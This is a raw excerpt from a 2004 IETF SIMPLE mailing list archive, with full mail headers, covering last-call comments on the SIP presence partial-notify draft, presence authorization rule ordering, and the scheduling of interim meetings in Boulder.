<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6487.1">
<TITLE>Comments received during partial notify WGLC</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Here is a list of issues that have come =
up during partial notify last call. I have included proposed =
modifications/fixes below. Note that some small/editorial issues are not =
included into list below.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">1) Tuple ID consistency</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">PIDF document states in Section 4.1.2 =
The &lt;tuple&gt; element:</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot; An 'id' value is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; used by applications =
processing the presence document to identify the</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; corresponding tuple in =
the previously acquired PRESENCE INFORMATION</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; of the same =
PRESENTITY&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">My own understading on the text above =
is that tuple ids should be consistent for same tuples. However, text =
above doesn't seems to be normative and partial notify mechanism =
requires this functionality to work. I have added following text into =
partial-notify draft:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;&nbsp;&nbsp; Tuple ids are used =
to identify if tuples are same between subsequent</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; notifications or not. =
Notifier MUST use same tuple ids for tuples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; which are identical =
between subsequent notifications and different</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; tuple ids for tuples =
which are different from previously send tuples.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Tuple ids MUST be =
consistent until next full state presence document</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; is delivered. =
Decision&nbsp; whether&nbsp; tuples are same or different is up</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; to notifier's local =
policy.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Personally I think that ids should be =
consistent between two full presence document. This is because watcher =
must drop all previously received presence info when new full state =
presence document arrives.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">2) Unique Tuple Ids</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">I have added text saying that all =
tuple ids must be unique in the presence document. This means tuple ids =
in &lt;tuple&gt; elements and in &lt;t_id&gt; elements.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">3) Use of 'applicatio/pidf-partial+xml' =
for initial notification</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">It was commented that =
'application/pidf+xml' could be used for initial notify. This might be =
possible but my own view on this is that it might be easier for watcher =
to learn from initial notify if notifier is going to send partial =
notification or not. I have added text saying that notifier must not =
include &lt;remove&gt; element when &quot;state&quot; is =
&quot;full&quot; and watcher must ignore &lt;removed&gt; elements if =
they appear in the presence document with &quot;state&quot;&nbsp; =
&quot;full&quot;.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">4) Receiving notification having old =
&quot;version&quot; numbers</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Last call version contained =
text:</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;If the watcher receives a =
notification with the &quot;state&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; attribute's value =
&quot;partial&quot; and the &quot;version&quot; attribute's value =
is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; equal or smaller than the =
one in the previous notification, it is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; considered a PS failure =
and the watcher SHOULD either refresh or</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; terminate the =
subscription.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">These old versions actually cannot =
corrupt the local presence document and so it should be necessary to =
resubscribe or terminate the subscription. I have changed this =
to:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;If the watcher</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; receives a notification =
with the &quot;state&quot; attribute's value &quot;partial&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; and the =
&quot;version&quot; attribute's value is equal or smaller than the =
one</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; in the previous =
notification, it is considered a notifier failure and</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; the watcher SHOULD =
discard the document without processing.&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">5) How much text should be copied from =
presence event package</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">There has been some confusion how to =
handle subscription refreshes and terminations. I have added text saying =
that notifier must always respond to subscribe requests with full =
presence document. Same applies when notifier terminates the =
subscription.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">6) XML schema</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">XML schema redefined also =
&quot;entity&quot; attribute. This isn't necessary and its now removed. =
</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">7) Examples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&lt;removed&gt; element appeared =
before &lt;tuple&gt; elements in the examples. This was incorrect and =
now all &lt;tuple&gt; element come before &lt;removed&gt;</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">8) examples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;version&quot; started from wrong =
value in all examples. Versions start now from 0.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">9) partial PIDF section 4, last =
bullet</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;The presence</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
document MUST only contain tuples which have changed compared to</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; last =
time the presence document was delivered i.e. it must contain</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new =
tuples and modified tuples.&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">MUST has been changed to SHOULD</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">- Mikko</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C40DCC.30723F01--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 19 16:53:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26612
	for <simple-archive@ietf.org>; Fri, 19 Mar 2004 16:53:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Rvi-0007WH-00
	for simple-archive@ietf.org; Fri, 19 Mar 2004 16:53:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4Rut-0007Rn-00
	for simple-archive@ietf.org; Fri, 19 Mar 2004 16:52:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4RuY-0007MG-00; Fri, 19 Mar 2004 16:52:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4RuM-0003T7-CS; Fri, 19 Mar 2004 16:52:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Rtu-0003RT-D7
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 16:51:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26514
	for <simple@ietf.org>; Fri, 19 Mar 2004 16:51:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Rts-0007Jk-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4Rsy-0007Da-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:50:37 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4RsG-00074k-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:49:52 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2JLnWNr021497;
	Fri, 19 Mar 2004 16:49:33 -0500 (EST)
Message-ID: <405B6ADF.10404@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: simple@ietf.org
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 16:49:19 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Markus.Isomaki@nokia.com wrote:

> Jonathan,
> 
> I think there are clear problems in the current draft where the
> actions are not orthogonal, nor do they have a "privacy order".

Are their cases of that in the text I sent out, besides this one we are 
talking about here?

> For
> instance I would like to define my authorization so that presence is
> always provided to a list of friends, and in case the watcher is not
> on that list, he or she would require confirmation. I don't see any
> other way to do this than having one rule for the friends resulting
> in "accept-subscription", and another rule applying to all watchers
> that would result in "confirmation". Now, if someone on the friends
> list subscribes to my presence, both rules apply.
> 
> The new proposal (in your mail below) where the actions are have a
> well-defined privacy order makes much more sense. I suggest we adopt
> it.

I agree it seems cleaner. Other comments?

> 
> BTW, I believe in this case "block" would need to be the default,
> since the strictest privacy should be applied in the absense of any
> rules. Correct?

Right.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 00:44:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21273
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 00:44:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IEN-0005sw-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 00:44:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IDM-0005mM-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 00:43:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5ICP-0005gE-00; Mon, 22 Mar 2004 00:42:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ICH-00056E-2u; Mon, 22 Mar 2004 00:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IBa-0004y1-OH
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 00:41:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21177
	for <simple@ietf.org>; Mon, 22 Mar 2004 00:41:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IBY-0005b1-00
	for simple@ietf.org; Mon, 22 Mar 2004 00:41:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IAd-0005VM-00
	for simple@ietf.org; Mon, 22 Mar 2004 00:40:20 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IA3-0005PS-00; Mon, 22 Mar 2004 00:39:43 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2M5fupG023283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 21 Mar 2004 23:41:57 -0600
Message-ID: <405E7C1D.1080301@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: sipping@ietf.org;
CC: Glenn Parsons <gparsons@nortelnetworks.com>, sip@ietf.org, simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 21 Mar 2004 23:39:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Please reply to the SIPPING list -- other lists copied to make sure we 
hit everybody.

We probably need to have at least three days of interim meetings between 
now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.

We've had a number of venue suggestions in the USA, and it has been 
suggested that a Tuesday-Thursday schedule would provide the best 
opportunities for travelers from more distant points.

There has also been some discussion of co-locating with the Lemonade 
working group, if the venue allows. We're not sure whether this would 
mean adding another day fore-or-aft, or simply running another room in 
parallel.

For the record, historically we've had anywhere from 30 to 60 attendees 
at interim meetings.

As I understand it, the leading candidate for venue is the Boulderama in 
Boulder, Colorado. Rohan's current proposal is to ask each attendee to 
contribute $50 toward meeting fees (princiaplly, renting the room). Of 
course, if somebody wants to sponsor the meeting and pick up the

These dates have been proposed:

May 4-6 (May conflict with T1-S1)
May 25-27 (conflicts with OMA POC interim)
June 1-3 (no conflicts I know of)

For planning purposes, it would help to know:

1) Who and how many would be able and willing to attend May 4-6?
2) Who and how many would be able and willing to to attend May 25-27?
3) Who and how many would be able and willing to to attend June 1-3?
4) Who would be conflicted if LEMONADE and SIP-related sessions occurred 
simultaneously?
5) Who just doesn't want to go  the the US because of travel 
restrictions and annoying border delays?
6) Anyody willing to sponsor or cosponsor the meeting?

--
Dean

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 00:44:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21338
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 00:44:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IEQ-0005kc-O4
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 00:44:14 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2M5iEJw022102
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 00:44:14 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IEQ-0005kP-K4
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 00:44:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21293
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 00:44:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IEN-0005t0-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 00:44:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IDN-0005mU-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 00:43:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5ICP-0005gE-00; Mon, 22 Mar 2004 00:42:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ICH-00056E-2u; Mon, 22 Mar 2004 00:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IBa-0004y1-OH
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 00:41:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21177
	for <simple@ietf.org>; Mon, 22 Mar 2004 00:41:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IBY-0005b1-00
	for simple@ietf.org; Mon, 22 Mar 2004 00:41:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IAd-0005VM-00
	for simple@ietf.org; Mon, 22 Mar 2004 00:40:20 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IA3-0005PS-00; Mon, 22 Mar 2004 00:39:43 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2M5fupG023283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 21 Mar 2004 23:41:57 -0600
Message-ID: <405E7C1D.1080301@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: sipping@ietf.org;
CC: Glenn Parsons <gparsons@nortelnetworks.com>, sip@ietf.org, simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 21 Mar 2004 23:39:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Please reply to the SIPPING list -- other lists copied to make sure we 
hit everybody.

We probably need to have at least three days of interim meetings between 
now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.

We've had a number of venue suggestions in the USA, and it has been 
suggested that a Tuesday-Thursday schedule would provide the best 
opportunities for travelers from more distant points.

There has also been some discussion of co-locating with the Lemonade 
working group, if the venue allows. We're not sure whether this would 
mean adding another day fore-or-aft, or simply running another room in 
parallel.

For the record, historically we've had anywhere from 30 to 60 attendees 
at interim meetings.

As I understand it, the leading candidate for venue is the Boulderama in 
Boulder, Colorado. Rohan's current proposal is to ask each attendee to 
contribute $50 toward meeting fees (princiaplly, renting the room). Of 
course, if somebody wants to sponsor the meeting and pick up the

These dates have been proposed:

May 4-6 (May conflict with T1-S1)
May 25-27 (conflicts with OMA POC interim)
June 1-3 (no conflicts I know of)

For planning purposes, it would help to know:

1) Who and how many would be able and willing to attend May 4-6?
2) Who and how many would be able and willing to to attend May 25-27?
3) Who and how many would be able and willing to to attend June 1-3?
4) Who would be conflicted if LEMONADE and SIP-related sessions occurred 
simultaneously?
5) Who just doesn't want to go  the the US because of travel 
restrictions and annoying border delays?
6) Anyody willing to sponsor or cosponsor the meeting?

--
Dean

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 13:00:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09138
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 13:00:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5TjM-0003pa-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 13:00:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5TiQ-0003hx-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 12:59:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Thm-0003aH-00; Mon, 22 Mar 2004 12:59:18 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ThY-0007Kj-PE; Mon, 22 Mar 2004 12:59:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ThI-0007Il-Di
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 12:58:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08928
	for <simple@ietf.org>; Mon, 22 Mar 2004 12:58:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5ThG-0003Yc-00
	for simple@ietf.org; Mon, 22 Mar 2004 12:58:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5TgL-0003Rm-00
	for simple@ietf.org; Mon, 22 Mar 2004 12:57:50 -0500
Received: from mail.siemenscom.com ([12.146.131.10])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Tfs-0003Kg-00; Mon, 22 Mar 2004 12:57:20 -0500
Received: from fdns2.rolm.com (fdns2.rolm.com [165.218.1.59])
	by mail.siemenscom.com (8.9.3p092403/8.9.3) with ESMTP id JAA26947;
	Mon, 22 Mar 2004 09:56:38 -0800 (PST)
Received: from stca200a.bus.sc.rolm.com (stca200a.bus.sc.rolm.com [165.218.68.180])
	by fdns2.rolm.com (8.12.10/8.12.10) with ESMTP id i2MHvDdq027877;
	Mon, 22 Mar 2004 09:57:13 -0800 (PST)
Received: by stca200a.bus.sc.rolm.com with Internet Mail Service (5.5.2657.72)
	id <FFADBA9H>; Mon, 22 Mar 2004 09:57:12 -0800
Message-ID: <DA2CCB2AC5F7E447B18E19D786093BB201D3F86F@stca952a.eng.sc.rolm.com>
From: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>
To: "'john.loughney@nokia.com'" <john.loughney@nokia.com>,
        dean.willis@softarmor.com, sipping@ietf.org
Cc: gparsons@nortelnetworks.com, sip@ietf.org, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meeting
 s
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 09:55:11 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

The closest airport is Denver International (45 minutes drive)  - there is
at least 1 direct flight from Europe (LH via Frankfurt) 

-----Original Message-----
From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
john.loughney@nokia.com
Sent: Sunday, March 21, 2004 10:13 PM
To: dean.willis@softarmor.com; sipping@ietf.org
Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
Subject: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings

Dean,

> As I understand it, the leading candidate for venue is the Boulderama 
> in Boulder, Colorado. Rohan's current proposal is to ask each attendee 
> to contribute $50 toward meeting fees (princiaplly, renting the room). 
> Of course, if somebody wants to sponsor the meeting and pick up the

Is there an option of someone hosting the meeting?  This is probably
easier to do than finding someone to foot the bill.  	

Also, Boulder is 3 to 4 hops away from Europe, which seems sub-optimal ...

John


_______________________________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol Use
sip-implementors@cs.columbia.edu for questions on current sip Use
sipping@ietf.org for new developments on the application of sip

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18437
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0P-0006EI-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzT-00065i-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060F-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VxA-0004c2-1N; Mon, 22 Mar 2004 15:23:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
